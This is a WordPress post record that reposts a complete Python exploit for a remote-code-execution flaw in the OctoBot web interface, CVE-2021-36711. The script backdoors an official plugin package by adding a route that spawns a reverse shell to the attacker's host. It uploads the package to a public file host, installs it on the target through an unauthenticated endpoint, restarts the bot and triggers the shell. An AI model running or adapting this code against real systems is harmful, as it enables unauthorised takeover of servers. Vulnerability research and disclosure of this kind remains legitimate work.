{"id":27352,"date":"2022-07-22T01:28:11","date_gmt":"2022-07-21T21:28:11","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167780\/octobotwi043-exec.txt"},"modified":"2022-07-22T11:36:13","modified_gmt":"2022-07-22T07:06:13","slug":"octobot-webinterface-0-4-3-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/octobot-webinterface-0-4-3-remote-code-execution\/","title":{"rendered":"OctoBot WebInterface 0.4.3 Remote Code Execution"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: OctoBot WebInterface 0.4.3 &#8211; Remote Code Execution (RCE)<br \/>\n# Date: 9\/2\/2021<br \/>\n# Exploit Author: Samy Younsi, Thomas Knudsen<br \/>\n# Vendor Homepage: https:\/\/www.octobot.online\/<br \/>\n# Software Link: https:\/\/github.com\/Drakkar-Software\/OctoBot<br \/>\n# Version: 0.4.0beta3 &#8211; 0.4.3<br \/>\n# Tested on: Linux (Ubuntu, CentOs)<br \/>\n# CVE : CVE-2021-36711<\/p>\n<p dir=\"ltr\">from __future__ import print_function, unicode_literals<br \/>\nfrom bs4 import BeautifulSoup<br \/>\nimport argparse<br \/>\nimport requests<br \/>\nimport zipfile<br \/>\nimport time<br \/>\nimport sys<br \/>\nimport os<\/p>\n<p dir=\"ltr\">def banner():<br \/>\nsashimiLogo = &#8220;&#8221;&#8221;<br \/>\n_________ . .<br \/>\n(.. \\_ , |\\ \/|<br \/>\n\\ O \\ \/| \\ \\\/ \/<br \/>\n\\______ \\\/ | \\ \/<br \/>\nvvvv\\ \\ | \/ |<br \/>\n_ _ _ _ \\^^^^ == \\_\/ |<br \/>\n| | __ _ | || |__ (_)_ __ ___ (_)`\\_ === \\. |<br \/>\n\/ __)\/ _` \/ __| &#8216;_ \\| | &#8216;_ ` _ \\| |\/ \/\\_ \\ \/ |<br \/>\n\\__ | (_| \\__ | | | | | | | | | | ||\/ \\_ \\| \/<br \/>\n( \/\\__,_( |_| |_|_|_| |_| |_|_| \\________\/<br \/>\n|_| |_| \\033[1;91mOctoBot Killer\\033[1;m<br \/>\nAuthor: \\033[1;92mNaqwada\\033[1;m<br \/>\nRuptureFarm 1029<\/p>\n<p dir=\"ltr\">FOR EDUCATIONAL PURPOSE ONLY.<br \/>\n&#8220;&#8221;&#8221;<br \/>\nreturn print(&#8216;\\033[1;94m{}\\033[1;m&#8217;.format(sashimiLogo))<\/p>\n<p dir=\"ltr\">def help():<br \/>\nprint(&#8216;[!] \\033[1;93mUsage: \\033[1;m&#8217;)<br \/>\nprint(&#8216;[-] python3 {} &#8211;RHOST \\033[1;92mTARGET_IP\\033[1;m &#8211;RPORT \\033[1;92mTARGET_PORT\\033[1;m &#8211;LHOST \\033[1;92mYOUR_IP\\033[1;m &#8211;LPORT \\033[1;92mYOUR_PORT\\033[1;m&#8217;.format(sys.argv[0]))<br \/>\nprint(&#8216;[-] \\033[1;93mNote*\\033[1;m If you are using a hostname instead of an IP address please remove http:\/\/ or https:\/\/ and try again.&#8217;)<\/p>\n<p dir=\"ltr\">def getOctobotVersion(RHOST, RPORT):<br \/>\nif RPORT == 443:<br \/>\nurl = &#8216;https:\/\/{}:{}\/api\/version&#8217;.format(RHOST, RPORT)<br \/>\nelse:<br \/>\nurl = &#8216;http:\/\/{}:{}\/api\/version&#8217;.format(RHOST, RPORT)<br \/>\nreturn curl(url)<\/p>\n<p dir=\"ltr\">def restartOctobot(RHOST, RPORT):<br \/>\nif RPORT == 443:<br \/>\nurl = &#8216;https:\/\/{}:{}\/commands\/restart&#8217;.format(RHOST, RPORT)<br \/>\nelse:<br \/>\nurl = &#8216;http:\/\/{}:{}\/commands\/restart&#8217;.format(RHOST, RPORT)<\/p>\n<p dir=\"ltr\">try:<br \/>\nrequests.get(url, allow_redirects=False, verify=False, timeout=1)<br \/>\nexcept requests.exceptions.ConnectionError as e:<br \/>\nprint(&#8216;[+] \\033[1;92mOctoBot is restarting &#8230; Please wait 30 seconds.\\033[1;m&#8217;)<br \/>\ntime.sleep(30)<\/p>\n<p dir=\"ltr\">def downloadTentaclePackage(octobotVersion):<br \/>\nprint(&#8216;[+] \\033[1;92mStart downloading Tentacle package for OctoBot {}.\\033[1;m&#8217;.format(octobotVersion))<br \/>\nurl = &#8216;https:\/\/static.octobot.online\/tentacles\/officials\/packages\/full\/base\/{}\/any_platform.zip&#8217;.format(octobotVersion)<br \/>\nresult = requests.get(url, stream=True)<br \/>\nwith open(&#8216;{}.zip&#8217;.format(octobotVersion), &#8216;wb&#8217;) as fd:<br \/>\nfor chunk in result.iter_content(chunk_size=128):<br \/>\nfd.write(chunk)<br \/>\nprint(&#8216;[+] \\033[1;92mDownload completed!\\033[1;m&#8217;)<\/p>\n<p dir=\"ltr\">def unzipTentaclePackage(octobotVersion):<br \/>\nzip = zipfile.ZipFile(&#8216;{}.zip&#8217;.format(octobotVersion))<br \/>\nzip.extractall(&#8216;quests&#8217;)<br \/>\nos.remove(&#8216;{}.zip&#8217;.format(octobotVersion))<br \/>\nprint(&#8216;[+] \\033[1;92mTentacle package has been extracted.\\033[1;m&#8217;)<\/p>\n<p dir=\"ltr\">def craftBackdoor(octobotVersion):<br \/>\nprint(&#8216;[+] \\033[1;92mCrafting backdoor for Octobot Tentacle Package {}&#8230;\\033[1;m&#8217;.format(octobotVersion))<br \/>\npath = &#8216;quests\/reference_tentacles\/Services\/Interfaces\/web_interface\/api\/&#8217;<br \/>\ninjectInitFile(path)<br \/>\ninjectMetadataFile(path)<br \/>\nprint(&#8216;[+] \\033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\\033[1;m&#8217;.format(octobotVersion))<\/p>\n<p dir=\"ltr\">def injectMetadataFile(path):<br \/>\nwith open(&#8216;{}metadata.py&#8217;.format(path),&#8217;r&#8217;) as metadataFile:<br \/>\ncontent = metadataFile.read()<br \/>\naddPayload = content.replace(&#8216;import json&#8217;, &#8221;.join(&#8216;import json\\nimport flask\\nimport sys, socket, os, pty&#8217;))<br \/>\naddPayload = addPayload.replace(&#8216;@api.api.route(&#8220;\/announcements&#8221;)&#8217;, &#8221;.join(&#8216;@api.api.route(&#8220;\/sashimi&#8221;)\\ndef sashimi():\\n\\ts = socket.socket()\\n\\ts.connect((flask.request.args.get(&#8220;LHOST&#8221;), int(flask.request.args.get(&#8220;LPORT&#8221;))))\\n\\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\\n\\tpty.spawn(&#8220;\/bin\/sh&#8221;)\\n\\n\\n@api.api.route(&#8220;\/announcements&#8221;)&#8217;))<br \/>\nwith open(&#8216;{}metadata.py&#8217;.format(path),&#8217;w&#8217;) as newMetadataFile:<br \/>\nnewMetadataFile.write(addPayload)<\/p>\n<p dir=\"ltr\">def injectInitFile(path):<br \/>\nwith open(&#8216;{}__init__.py&#8217;.format(path),&#8217;r&#8217;) as initFile:<br \/>\ncontent = initFile.read()<br \/>\naddPayload = content.replace(&#8216;announcements,&#8217;, &#8221;.join(&#8216;announcements,\\n\\tsashimi,&#8217;))<br \/>\naddPayload = addPayload.replace(&#8216;&#8221;announcements&#8221;,&#8217;, &#8221;.join(&#8216;&#8221;announcements&#8221;,\\n\\t&#8221;sashimi&#8221;,&#8217;))<br \/>\nwith open(&#8216;{}__init__.py&#8217;.format(path),&#8217;w&#8217;) as newInitFile:<br \/>\nnewInitFile.write(addPayload)<\/p>\n<p dir=\"ltr\">def rePackTentaclePackage():<br \/>\nprint(&#8216;[+] \\033[1;92mRepacking Tentacle package.\\033[1;m&#8217;)<br \/>\nwith zipfile.ZipFile(&#8216;any_platform.zip&#8217;, mode=&#8217;w&#8217;) as zipf:<br \/>\nlen_dir_path = len(&#8216;quests&#8217;)<br \/>\nfor root, _, files in os.walk(&#8216;quests&#8217;):<br \/>\nfor file in files:<br \/>\nfile_path = os.path.join(root, file)<br \/>\nzipf.write(file_path, file_path[len_dir_path:])<\/p>\n<p dir=\"ltr\">def uploadMaliciousTentacle():<br \/>\nprint(&#8216;[+] \\033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com&#8221; link=&#8221;https:\/\/app.recordedfuture.com\/live\/sc\/entity\/idn:anonfiles.com&#8221; style=&#8221;&#8221;&gt;anonfiles.com&#8230; May take a minute.\\033[1;m&#8217;)<\/p>\n<p dir=\"ltr\">file = {<br \/>\n&#8216;file&#8217;: open(&#8216;any_platform.zip&#8217;, &#8216;rb&#8217;),<br \/>\n}<br \/>\nresponse = requests.post(&#8216;https:\/\/api.anonfiles.com\/upload&#8217;, files=file, timeout=60)<br \/>\nzipLink = response.json()[&#8216;data&#8217;][&#8216;file&#8217;][&#8216;url&#8217;][&#8216;full&#8217;]\nresponse = requests.get(zipLink, timeout=60)<br \/>\nsoup = BeautifulSoup(response.content.decode(&#8216;utf-8&#8217;), &#8216;html.parser&#8217;)<br \/>\nzipLink = soup.find(id=&#8217;download-url&#8217;).get(&#8216;href&#8217;)<br \/>\nprint(&#8216;[+] \\033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\\033[1;m&#8217;.format(zipLink))<br \/>\nreturn zipLink<\/p>\n<p dir=\"ltr\">def curl(url):<br \/>\nresponse = requests.get(url, allow_redirects=False, verify=False, timeout=60)<br \/>\nreturn response<\/p>\n<p dir=\"ltr\">def injectBackdoor(RHOST, RPORT, zipLink):<br \/>\nprint(&#8216;[+] \\033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot&#8230; May take a minute.\\033[1;m&#8217;)<br \/>\nif RPORT == 443:<br \/>\nurl = &#8216;https:\/\/{}:{}\/advanced\/tentacle_packages?update_type=add_package&#8217;.format(RHOST, RPORT)<br \/>\nelse:<br \/>\nurl = &#8216;http:\/\/{}:{}\/advanced\/tentacle_packages?update_type=add_package&#8217;.format(RHOST, RPORT)<\/p>\n<p dir=\"ltr\">headers = {<br \/>\n&#8216;Content-Type&#8217;: &#8216;application\/json&#8217;,<br \/>\n&#8216;X-Requested-With&#8217;: &#8216;XMLHttpRequest&#8217;,<br \/>\n}<\/p>\n<p dir=\"ltr\">data = &#8216;{&#8220;&#8216;+zipLink+'&#8221;:&#8221;register_and_install&#8221;}&#8217;<\/p>\n<p dir=\"ltr\">response = requests.post(url, headers=headers, data=data)<br \/>\nresponse = response.content.decode(&#8216;utf-8&#8217;).replace(&#8216;&#8221;&#8216;, &#8221;).strip()<\/p>\n<p dir=\"ltr\">os.remove(&#8216;any_platform.zip&#8217;)<\/p>\n<p dir=\"ltr\">if response != &#8216;Tentacles installed&#8217;:<br \/>\nprint(&#8216;[!] \\033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\\033[1;m&#8217;)<br \/>\nexit()<br \/>\nprint(&#8216;[+] \\033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\\033[1;m&#8217;)<\/p>\n<p dir=\"ltr\">def execReverseShell(RHOST, RPORT, LHOST, LPORT):<br \/>\nprint(&#8216;[+] \\033[1;92mExecuting reverse shell on {}:{}.\\033[1;m&#8217;.format(LHOST, LPORT))<br \/>\nif RPORT == 443:<br \/>\nurl = &#8216;https:\/\/{}:{}\/api\/sashimi?LHOST={}&amp;LPORT={}&#8217;.format(RHOST, RPORT, LHOST, LPORT)<br \/>\nelse:<br \/>\nurl = &#8216;http:\/\/{}:{}\/api\/sashimi?LHOST={}&amp;LPORT={}&#8217;.format(RHOST, RPORT, LHOST, LPORT)<br \/>\nreturn curl(url)<\/p>\n<p dir=\"ltr\">def isPassword(RHOST, RPORT):<br \/>\nif RPORT == 443:<br \/>\nurl = &#8216;https:\/\/{}:{}&#8217;.format(RHOST, RPORT)<br \/>\nelse:<br \/>\nurl = &#8216;http:\/\/{}:{}&#8217;.format(RHOST, RPORT)<br \/>\nreturn curl(url)<\/p>\n<p dir=\"ltr\">def main():<br \/>\nbanner()<br \/>\nargs = parser.parse_args()<\/p>\n<p dir=\"ltr\">if isPassword(args.RHOST, args.RPORT).status_code != 200:<br \/>\nprint(&#8216;[!] \\033[1;91mError: This Octobot Platform seems to be protected with a password!\\033[1;m&#8217;)<\/p>\n<p dir=\"ltr\">octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode(&#8216;utf-8&#8217;).replace(&#8216;&#8221;&#8216;,&#8221;).replace(&#8216;OctoBot &#8216;,&#8221;)<\/p>\n<p dir=\"ltr\">if len(octobotVersion) &gt; 0:<br \/>\nprint(&#8216;[+] \\033[1;92mPlatform OctoBot {} detected.\\033[1;m&#8217;.format(octobotVersion))<\/p>\n<p dir=\"ltr\">downloadTentaclePackage(octobotVersion)<br \/>\nunzipTentaclePackage(octobotVersion)<br \/>\ncraftBackdoor(octobotVersion)<br \/>\nrePackTentaclePackage()<br \/>\nzipLink = uploadMaliciousTentacle()<br \/>\ninjectBackdoor(args.RHOST, args.RPORT, zipLink)<br \/>\nrestartOctobot(args.RHOST, args.RPORT)<br \/>\nexecReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT)<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\nparser = argparse.ArgumentParser(description=&#8217;POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.&#8217;, add_help=False)<br \/>\nparser.add_argument(&#8216;-h&#8217;, &#8216;&#8211;help&#8217;, help=help())<br \/>\nparser.add_argument(&#8216;&#8211;RHOST&#8217;, help=&#8221;Refers to the IP of the target machine.&#8221;, type=str, required=True)<br \/>\nparser.add_argument(&#8216;&#8211;RPORT&#8217;, help=&#8221;Refers to the open port of the target machine.&#8221;, type=int, required=True)<br \/>\nparser.add_argument(&#8216;&#8211;LHOST&#8217;, help=&#8221;Refers to the IP of your machine.&#8221;, type=str, required=True)<br \/>\nparser.add_argument(&#8216;&#8211;LPORT&#8217;, help=&#8221;Refers to the open port of your machine.&#8221;, type=int, required=True)<br \/>\nmain()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: OctoBot WebInterface 0.4.3 &#8211; Remote Code Execution (RCE) # Date: 9\/2\/2021 # Exploit Author: Samy Younsi, Thomas Knudsen # Vendor Homepage: https:\/\/www.octobot.online\/ # Software Link: https:\/\/github.com\/Drakkar-Software\/OctoBot # Version: 0.4.0beta3 &#8211; 0.4.3 # Tested on: Linux (Ubuntu, CentOs) # CVE : CVE-2021-36711 from __future__ import print_function, unicode_literals from bs4 import BeautifulSoup import argparse &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-27352","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27352","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=27352"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/27352\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=27352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=27352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=27352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}